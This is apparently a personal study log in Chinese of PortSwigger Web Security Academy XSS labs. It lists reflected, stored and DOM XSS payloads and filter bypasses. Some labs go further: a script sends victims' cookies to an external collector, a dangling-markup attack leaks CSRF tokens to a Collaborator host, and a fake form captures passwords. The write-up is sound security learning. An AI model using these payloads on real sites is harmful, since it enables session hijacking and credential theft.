[!note]
- Community Solutions 下面的视频质量都很高,可以进一步提高我们对每个 lab 及其知识点的理解,建议看一下。
- payload 可以直接搜,没必要非得自己构造,重要的是学习渗透思路。portswiggerXSScheat-sheet、owsap cheat-sheet
1 Lab: Reflected XSS into HTML context with nothing encoded
2 Lab: Stored XSS into HTML context with nothing encoded
3 Lab: DOM XSS in document.write
sink using source location.search
ctrl+shift+f
全局搜索 location.search
。
函数 trackSearch()
使用 document.write
在上下两个 section 中写入一个 <img>
标签。location.search
从 url https://0ae0002203c0668a84176d2100500026.web-security-academy.net/?search=1655452184
中拿到参数 search
的值并赋值给 query
。 GET 方法
payload: "> <script>alert(/xss/)</script> "<
拿下!
payload2 闭合属性完成 XSS: " onmouseover=alert(/xss/)"
重新构造 payload " style="width:30px;height:30px;background-color:red;" onmouseover=alert(/xss/) "
鼠标移动到 img 区域,触发 xss。
4 Lab: DOM XSS in document.write
sink using source location.search
inside a select element
虽然表单使用的是 POST 方法传参,但是根据 js 代码,storeId
是通过 window.location.search
从url 中获取的。(md,用 burp 抓包弄了半天,人傻了)
请求 url : product?productId=5&storeId=1235134481234
payload1: product?productId=5&storeId=1235134481234</option><script>alert(/xss/)</script>
payload2: product?productId=5&storeId=</select><img%20src=1%20onerror=alert(/xss/)>
5 Lab: DOM XSS in innerHTML
sink using source location.search
js 代码 修改 id 为 ‘searchMessage’ 的标签的 innerHTML
。
[!note] 注:
innerHTML
中无法使用<script>
标签。
^e1ca4a
解决方法:使用其他标签,如 <img>
,<iframe>
6 Lab: DOM XSS in jQuery anchor href
attribute sink using location.search
source
尝试修改 url,随便改个百度试试 feedback?returnPath=https://www.baidu.com/
跳转成功。
构造 payload: /feedback?returnPath=javascript:alert(/xss/)
按了回车后,没发现弹窗,考虑了半天,甚至问了 gpt,然后突然意识到,这个 payload 是用来修改右下角 Back 按钮的返回链接的,也就是 <a>
标签的 href
属性。md,又傻逼了。
有些浏览器会阻止在地址栏使用 javascript:
协议,不过跟这个没啥关系。
7 Lab: DOM XSS in jQuery selector sink using a hashchange event
1 | <script> |
分析 js 代码发现,我们可以通过 location.hash
来控制变量 post
的值,进而跳转到相对应的位置。
测试 url /#21st%20Century%20Dreaming
,回车之后跳转到 “21st Century Dreaming” 位置,location.hash
就相当于是锚点 (bookmarking),实现页面内跳转。
构造 payload url /#<img%20src=''%20onerror=print('xss')>
[!question] 问题
咋还是 unsolved ?答: 以上操作都算是在自己的浏览器客户端进行的测试 (self cross-site scripting),类似于 f12 直接修改 html 文件一样。
需要寻找一种没有用户交互即可触发hashchange
事件的方式。
在 Body 中编写 payload <iframe src="https://0a5200b2030523bd80fd1cbe00dd0058.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
Store 然后 View exploit 测试
没问题,成功召唤打印机!
8 Lab: Reflected DOM XSS
可以使用 burp 抓包,观察参数处理的过程。
1 | eval('var searchResultsObj = ' + this.responseText); |
构造 payload1: hello\"}; alert(/xss/);//
payload2: \"-alert(1)}//
[!note]
该 lab 转义了 双引号,可以再加一个转义符\
绕过。
9 Lab: Stored DOM XSS
查看源码发现,评论是由 loadComments()
函数生成的。
搜索发现 loadComments()
函数在 resource/js/
目录下 loadCommentsWithVulnerableEscapeHtml.js
文件中定义。
其中 escapeHTML(html)
函数对 “>”,“<” 进行了过滤,除此之外还有大量类似 element.innerHTML = (something you can control)
之类的赋值操作, 如 commentBodyPElement.innerHTML = escapeHTML(comment.body);
,存在 XSS 漏洞,其中 comments
是我们可以控制的内容,如下图所示。
在 JavaScript 中,.replace()
方法默认只替换字符串中的第一个匹配项。如果想替换所有匹配项,需要使用正则表达式并配合全局匹配标志 g
。
1 | > "<<script>>alert(/xss/)<</script>".replace(/</g, '<').replace(/>/g, '>'); |
构造评论 <sciript>alert(/xss/)</script>
,并没有成功,评论部分还只显示了一半。
[!question] 问题
escapeHTML()
咋绕过呀?
使用 HTML 编码绕过。
构造 payload: </p><sciript>alert(/xss/)</script>
的 HTML 编码 </p><sciript>alert(/xss/)</script>
然并卵。这里 [[PortSwigger xss labs#^e1ca4a]] 遇见过,忘了,md
[!note]
如果将 HTML 实体编码的脚本标签插入到元素的innerHTML
中,虽然浏览器会解析这些实体为对应的字符并构建 DOM 元素,但出于安全考虑,大多数现代浏览器不会执行通过innerHTML
添加的<script>
标签中的 JavaScript 代码。
使用 HTML 编码的 <img src=1 onerror=alert(/xss/)>
,仍无法运行。
[!question] 问题
使用 HTML 实体编码的语句无法执行?答:HTML 实体编码的内容不会被浏览器解释为实际的 HTML 标签和属性。(猜测,仍存疑)
构造 payload: <><img src=1 onerror=alert(/xss/) />
。如前所述,.replace()
默认只替换第一个匹配项,这个 payload 类似于双写绕过。
成功。
10 Lab: Reflected XSS into HTML context with most tags and attributes blocked
过滤了 <script>
,<img>
,<frame>
,<svg>
等等。
[!tip] ideas
善用、多用 burp!!!
我还搁这一个一个找呢,直接用 burp intrude 模块看看有哪些标签没被过滤。
只有一个 body
标签未被过滤。
属性也被过滤了,你要这么玩可就没意思了嗷!!
这里我使用 body
标签和 onresize
事件,payload 可以直接在这里搜。
[!note]
onresize
事件会在页面大小改变时执行Javascript代码。
Search 之后,F12 打开开发者工具改变页面大小,alert()
执行成功。
payload: <iframe src="https://0a8d000f0341882a8073769100a400bc.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>
view exploit 测试一下。
Deliver exploit to victim 拿下。
11 Lab: Reflected XSS into HTML context with all tags blocked except custom ones
除了几个自定义标签,其余全被过滤掉了。
[!note] Custom Tags
A custom tag is a user-defined JSP language element.在HTML中,自定义标签(Custom Tags)是指开发者自己创建的、非HTML标准内置的标签。这些标签可以用于特定的用途,比如组织页面结构、创建复用的UI组件等。自定义标签是Web组件技术的一部分,它们使得前端代码更模块化、可维护和可重用。 —-ChatGPT
以下是一个自定义标签 <user-card>
的例子。
1 | class UserCard extends HTMLElement { |
注册新元素:
1 | customElements.define('user-card', UserCard); |
使用自定义标签:
1 | <user-card name="张三" email="zhangsan@example.com"></user-card> |
试了刚爆破得到的自定义标签都不行。直接在 xss cheat-sheet 上搜索 custom-tags,选一个 payload <xss tabindex=1 onfocus=alert(1)></xss>
。
按下 tab 键聚焦到 <xss>
标签上,触发 alert()
。
Body 部分的代码:
1 | <script> |
payload2:
1 | <script> |
[!note] location 对象
location
对象在 JavaScript 中用于获取或设置当前文档的 URL
‘#x’ 是锚点,能聚焦到 ‘id=x’ 的元素,从而触发 onfocus
事件,两者组合,达到 autofocus
的效果。
[!question] 问题
exploit server 里面的 body 部分如何编写?每次都是本地手动测试通过但是不会编写 exploit server。不管是使用
<iframe>
标签还是<script>
目的都是为了模拟受害人操作,触发所构造的 url,达到 ‘Your solution must not require any user interaction‘ 的要求。
<firame>
与 <sctipt>
的不同:
<iframe>
标签:<iframe>
中的内容通常受到同源策略的限制(X-Frame-Options
),尤其是当它尝试访问或修改父页面内容时,如 Lab-10 使用<iframe>
就没问题。<script>
标签:通过<script>
标签注入的代码不受同源策略的限制,因为它直接成为了加载它的页面的一部分,location 就相当于是重定向。
在 Body 中使用 <iframe>
报错。payload:<iframe src="https://0a5500d0036f773980c1e47d00b00003.web-security-academy.net/?search=<xss%20autofocus%20onfocus='alert(1)'></xss>"></iframe>
报错信息如下,受到 [[浏览器的同源策略]] 影响,X-Frame-Options
头部。
12 Lab: Reflected XSS into attribute with angle brackets HTML-encoded
任务描述:search
功能存在 xss 漏洞,利用该漏洞,调用 alert()
搜索的内容会现在了页面上,且回显了两处,一处是 <h1>
标签,一处是 <input>
中的 value
属性。
构造 payload 1: '<xss autofocus tabindex=1 onfocus=alert(1)></xss>
使用 HTML 编码。
<h1>
中的回显仍然是字符串,但 <input>
的 value
属性对输入的 payload 进行了解析。
构造 payload 2: "><xss autofocus tabindex=1 onfocus=alert(1)></xss>
编码绕过,payload 3:
1 | "><xss autofocus tabindex=1 onfocus=alert(1)></xss> |
但双引号没过去。
换一种思路,闭合属性,修改属性,paylaod 4: " autofocus tabindex=1 onfocus=alert(1) "
成功。
回到上面的 payload 2 "><xss autofocus tabindex=1 onfocus=alert(1)></xss>
在注入后发现,回显页面好像歪打正着,把一些关键属性 autofocus
, onfocus
等都加进去了,由此想到:魔改一下这条 payload,没准就能执行了,后面 "
可能是因为双引号没有闭合好。
修改后的 payload 5:"><xss autofocus tabindex=1 onfocus=alert(1) "
也成功注入,弹窗以后就不截了,没意思 ( ͠°◞ °)
13 Lab: Stored XSS into anchor href
attribute with double quotes HTML-encoded
题目中说这是一个存储型 XSS,我们直接看评论部分。
发布一条评论,之后看源码,有回显的位置就可能有 XSS,一共有三个,我在图中标记出来了,题目提示是 href
,我们就先测这个。
payload caishao.com" onmouseover=alert(/xss/)
因为过滤掉了双引号,需要闭合双引号的注入方式都不太行,这时可以考虑使用 javascript 伪协议,本质上也算是链接。
根据题目,使用 javascript 伪协议注入成功,Name 和 Comment 部分没成功。
[!question] 问题
双引号还能使用哪些方式绕过?
14 Lab: Reflected XSS in canonical link tag
payload(文章里好像叫 vector:
1 | <link rel="canonical" accesskey="X" onclick="alert(1)" /> |
直接修改 html 源码,按 “ALT+SHIFT+X” 能触发 alert(1)
现在问题就是如何修改 <link>
元素 –> 在 url 上做文章?
或者抓包,重放,在 burp 中修改。
之前我说过,挖洞就是寻找矛盾点或歧义,客户端和服务端对同一对象的不同解读方式,就可能产生漏洞。
如果要在 url 上做文章的话,例如 /post?postId=4%22%20accesskey=%22X%22%20onclick=%22alert(1)
,本题的矛盾点就是服务端解读 postId=4
,之后回显到客户端 <link>
标签的内容是 [host]/post?postId=4%22%20accesskey=%22X%22%20onclick=%22alert(1)
且accesskey
, onclick
被解析为 html 属性。
==> sql 注入?
简单用 sqlmap 扫了一下,貌似并没有 sql 注入点。
我真是个大憨憨!为啥非得揪住一个需要传参数的页面呢,直接用主页不香嘛? web-security-academy.net/
只要能把 url 回显到 <link>
标签就行。
payload: web-security-academy.net/?%27accesskey=%27X%27onclick=%27alert(1)
按下 “ALT+SHIFT+X” 能触发弹窗。
[!question] 问题
不过有一说一,为啥双引号不行?web-security-academy.net/?%22%20accesskey=%22X%22onclick=%22alert(1)
15 Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped
在搜索框中搜索一串有辨识度的字符串 CAISHAO
,使用 Ctrl+shift+f 搜索,观察其回显位置。一共有两处:一个是在 <h1>
标签中,一个是在 script
中,根据题目,我们直接测试 js 中的注入点。
用一个今天新看的 vector: CAISHAO'</script><img src=javascript:alert(1) onerror=location=src>
.
成功。
再来看这个 js 代码,输入中的 </script>
成功截断了 js 代码块,且输入中的 <img>
标签被当成了 html 元素执行。
16 Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded
输入易辨识字符串,观察回显位置。
使用 Lab 15 的 vector,发现尖括号被过滤了。
换一种思路,没必要非得闭合 <script>
标签,只要我们的输入能被当作 js 代码执行就可以,为什么不直接拼接一个 alert(/xss/)
呢?(这里要注意注入后 js 语法的正确性。
构造 payload:';alert(/xss/);'
,成功。
solution 里面使用的 payload:'-alert(1)-'
17 Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped
注入:'</script><img src=javascript:alert(1) onerror=location=src>'
,发现双引号和尖括号被 HTML 编码,单引号被转义。
通过观察回显发现转义的方法存在缺陷,仅在单引号前加了个 \
。
构造 payload \';alert(/xss/)//
,注入成功。
18 Lab: Stored XSS into onclick
event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped
只有评论部分存在注入点,大概率就是存储型 xss(题干),随便发一条评论,观察回显位置。
<a>
标签的 onclick
属性定义并调用一个空函数 tracker()
,不管怎么传参都没法在 tracker()
上做文章。
利用 href
属性 payload: http://caishao.com" onmouseover='alert(/xss/)'
,无效。根据题干也能看出来,双引号和尖括号被 HTML 编码,单引号和反斜杠被转义。
[!question] 问题
双引号被 HTML 编码,还有能使用双引号的有效 payload 吗?感觉一旦使用 HTML 编码,绕过方式好像都在回避使用这个字符,如:伪协议绕过。
单引号只是被转义,我们使用编码绕过。构造 payload ');alert(1);('
,将 onclick
属性中的 tracker.track('
闭合,再插入 alert()
函数。之后使用 CyberChef 编码,选择 “To HTML Entity”。
拼接完成的代码如下,点击链接,弹窗。
19 Lab: Reflected XSS in a JavaScript URL with some characters blocked
题目上说是反射型 XSS,但我没找到注入点呀,只有评论区能输入,评论区的大概率是存储型的吧。
迄今位置,遇到的反射型 XSS 注入点一般都在搜索框那块,能把输入回显在页面上(或 HTML 代码中),还遇到一个在有 canonical
属性的 <link>
标签里面。本题的注入点我还有点没找到emmm
简单阅读了一下源码,还真让我找到注入点了。点击 “Back to Blog” 后,跳转链接有一个 javascript 伪协议,其中会回显 url 的部分内容。
20 Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped
输入特殊字符串,观察其回显位置。发现在一个模板字面量中,我们可以通过使用占位符 ${expression}
嵌入待替换的表达式,从而执行 js 代码。
构造 payload: CAISHAO' ${alert(/xss/)}
,虽然单引号使用了 unicode 编码,但嵌入表达式中的代码在创建字符串之前被成功执行。
21 Lab: Reflected XSS with some SVG markup allowed
简单爆破一下,观察有哪些标签可以使用。
这里我用的是 PortSwigger XSS cheat sheet 里面的 tag 字典,可能不是太准确,在知道了 <svg>
可用之后,可以做一个字典爆破一下允许的 <svg>
标签,这里我直接选用 <image>
标签。
输入 <image>
虽然网页没有呈现什么,但其实已经回显在代码中了。
构造 payload <image src=javascript://alert(/xss/) onerror=location=src />
却提示 “Event is not allowed”。
没必要搁那瞎猜了,已经知道是使用 svg 元素了,就直接拿 cheat-sheet 里面现有的 payload 试一试。
提示标签不对就换标签,提示事件不对就换事件。最后发现的有效的 payload:<svg><animatetransform onbegin=alert(1) attributeName=transform>
,主打一个随心所欲。
ps: 简单爆了一下允许的事件,发现就一个 onbegin
,也就是说标签只能选 svg 的那几个动画元素了。
与 svg 的动画元素 有关的 payload 的都能在 cheat-sheet 中找到,我的思路没毛病。
22 Lab: Exploiting cross-site scripting to steal cookies
目标:评论部分存在存储型 XSS,利用该漏洞拿到受害人的 cookie,然后利用该 cookie 模拟受害人登录。
注入了半天,发现直接在评论区内容部分写 js 就完事了,<script>alert(1)</script>
只要能把 document.cookie
传到服务器就行,这里的服务器我用的 Burp Collaborator 生成的。
payload:
1 | <script>document.location="https://example.com/?cookie=" + document.cookie</script> |
在 Collaborator 中可以查看获取到的 cookie。
[!question] 问题
拿到 cookie 如何操作?答: 修改 cookie (Cookie-Editor or F12 Application),刷新页面即可。
使用插件 Cookie-Editor,改不改没反应啊!
F12 在 Application 里面改也没反应,这个 cookie 真的是受害人的嘛,按理说改一下 cookie 再刷新页面就进去了。
不浪费时间了,查看 solution,其中给的 payload 如下,使用了 fetch()
发送请求(前天才看了 fetch()
咋没想起来呢!!
1 | <script> |
观察 Collaborator,cookie 信息在请求消息体中。
原来只是我没找对请求呀,上面那个是我自己触发的,发送的是我自己的 cookie,下面这个才是受害人触发的(裂开,自己的 cookie 是啥都不知道!!)
使用插件 Cookie-Editor 或 F12 Application 修改 cookie 并刷新页面,提示 lab 解决。
访问下 /my-account
,成功进入管理员页面。
23 Lab: Reflected XSS protected by very strict CSP, with dangling markup attack
描述:使用严格 CSP,反射型 XSS
目标:绕过 CSP,拿到受害人 CSRF token,并修改受害人邮箱为 hacker@evil-user.net
。为了更好的模拟受害人点击,攻击向量中必须包含 “Click”。
抓包,修改邮箱请求的 api 为 /my-account/change-email
使用 POST 方法传递两个参数,分别是 email
和 csrf
token,且特殊字符自动 URL 编码。
1 | Content-Security-Policy: default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none'; |
default-src 'self'
表示默认/未说明时,仅允许加载同源资源。object-src 'none';base-uri 'none';
表示无法加载对象资源,如 <embed>
, <object>
, <applet>
,也无法使用 <base>
修改 base uri。剩下的内容表示只能从该网页相同的源中加载样式、js 脚本、图片。
========== 以下尝试全是错的,可以不看 T_T ===========
首先我们尝试 HTML 注入,看能不能注入一些可执行的 HTML 元素。
在前端注入,报错 “@” 前不能含特殊字符 “<”, “>”, “(“等。
使用 URL 编码后发送 %3Cscript%3Ealert%281%29%3C%2Fscript%3E@qq.com
,发现输入内容中的 “%” 也被编码了,
直接抓包修改 email,提示 302,点击 “Follo redirection” 响应成功跳转到用户主页。
邮箱回显出注入的 script 标签,但并未执行成功,不过也说明邮箱格式更多的是前端验证的。
但是 email 中仍需要包含 ‘@’ 符号。修改邮箱,不带 ‘@’ 符号,email=<script>alert(3)</script>&csrf=0xjhIDpcJNHZsZiol5tEp4jjeB5wB34w
,发现邮箱未更改。
[!question] 问题
这里未执行成功的原因是什么?答: 特殊符号 ><” 转换成了 HTML 实体。
构造 payload <img src='https://kc0uwm9v8xtvzi5jvv8vrfptikobc10q.oastify.com/?@qq.com
因为有空格,参数不好传,我就直接全都 url 编码了,工具仍是 CyberChef。
“><” 被转换成 HTML 实体了呀,如何绕过呢?
[!question] 问题
如何绕过 HTML 实体编码?
[!question] 问题
这个注入点找的对吗,题目上说是 RXSS,通过修改邮箱注入,不就成存储型的了?
不过如果要使用 dangling-markup 攻击获取 csrf token 的话,好像也修改邮箱这里了,离得近。答: 找的并不对,看下面。
========== 以上尝试全是错的 T_T ===========
原来是我注入点找错了,我还纳闷呢,哪有反射型 XSS 呢,原来搁这呢。url 中的参数会回显在 input 元素的 value 属性中。
本题的重点是绕过 CSP。
思路:
- 使用 base 元素中的 target 属性设置超链接跳转行为,如果 target 是自定义的内容,超链接会默认跳转到一个新 tab,并设置
window.name
为 target 的值。也就是说如果我们使用未闭合的 target,如target='hello
就可以将注入点到下一个 ‘ 之间的内容设置为window.name
。 具体参看:Evading CSP with DOM-based dangling markup - 注入一个
<a>
标签,超链接定义为攻击者的服务器(Burp Collaborator),将window.name
发送过来,其中可能就有受害人的 csrf token 等敏感信息。 - 由于修改邮箱要用到用户 session,所以简单构造一个修改邮箱的报文不起作用。这里使用 CSRF 攻击伪造访问
/my-account/change-email
接口的请求,当用户点击时,就会将 email 连同 csrf token 发送到服务端,从而修改用户邮箱。
[!note]
通过 base 元素修改 window.name 好像 Google Chrome 不行,得用火狐浏览器。
上面那个博客中的 POC,在 Chrome 中无效,但在 Firefox 中正确弹出 window.name
.
1 | <script> |
点击 “View exploit” 看看效果。
因为刚开始 window.name
为空,所以设置 location
,注入 <a>
标签,且包含一个未闭合的 base 标签的 target 属性。
点击 “Click me” 会将 window.name
发送给 Collaborator,其中就有受害人的 csrf token。
解码。
[!question] 问题
本地 view exploit 嘎嘎拿 csrf token,deliver exploit to victim 就不行了,受害人不会用的 Chrome 吧?
24 Lab: Exploiting cross-site scripting to capture passwords
评论的内容部分即可注入。
1 | <p>please input your passwords!</p> |
这玩意儿老发一堆空值。
修改 payload,让 ChatGPT 给咱生成一个。
1 | <form id="loginForm"> |
1 | {"username":"a","password":"qy1dkc59nd0tr23syh3"} |
这是要让我排列组合?"username":"administrator","password":"yqy1dkc59nd0tr23syh3"
============== 更新 start ===============
document.getElementById('loginForm').reset();
我应该把这玩意删了的,一个劲给我发表单,不过如果删了,我是不是就拿不到用户名密码了,我也是排列组合的emmm.
好吧,监听器写的有问题,不如直接 onchange
。
============== 更新 end ===============
下面给出官方 solution,蛮精简的。username.value
就能读取用户名?我还用了 document.getElementById
,还用 addEventListener
监听输入行为,其实一个 onchange
就完事了。
1 | <input name=username id=username> |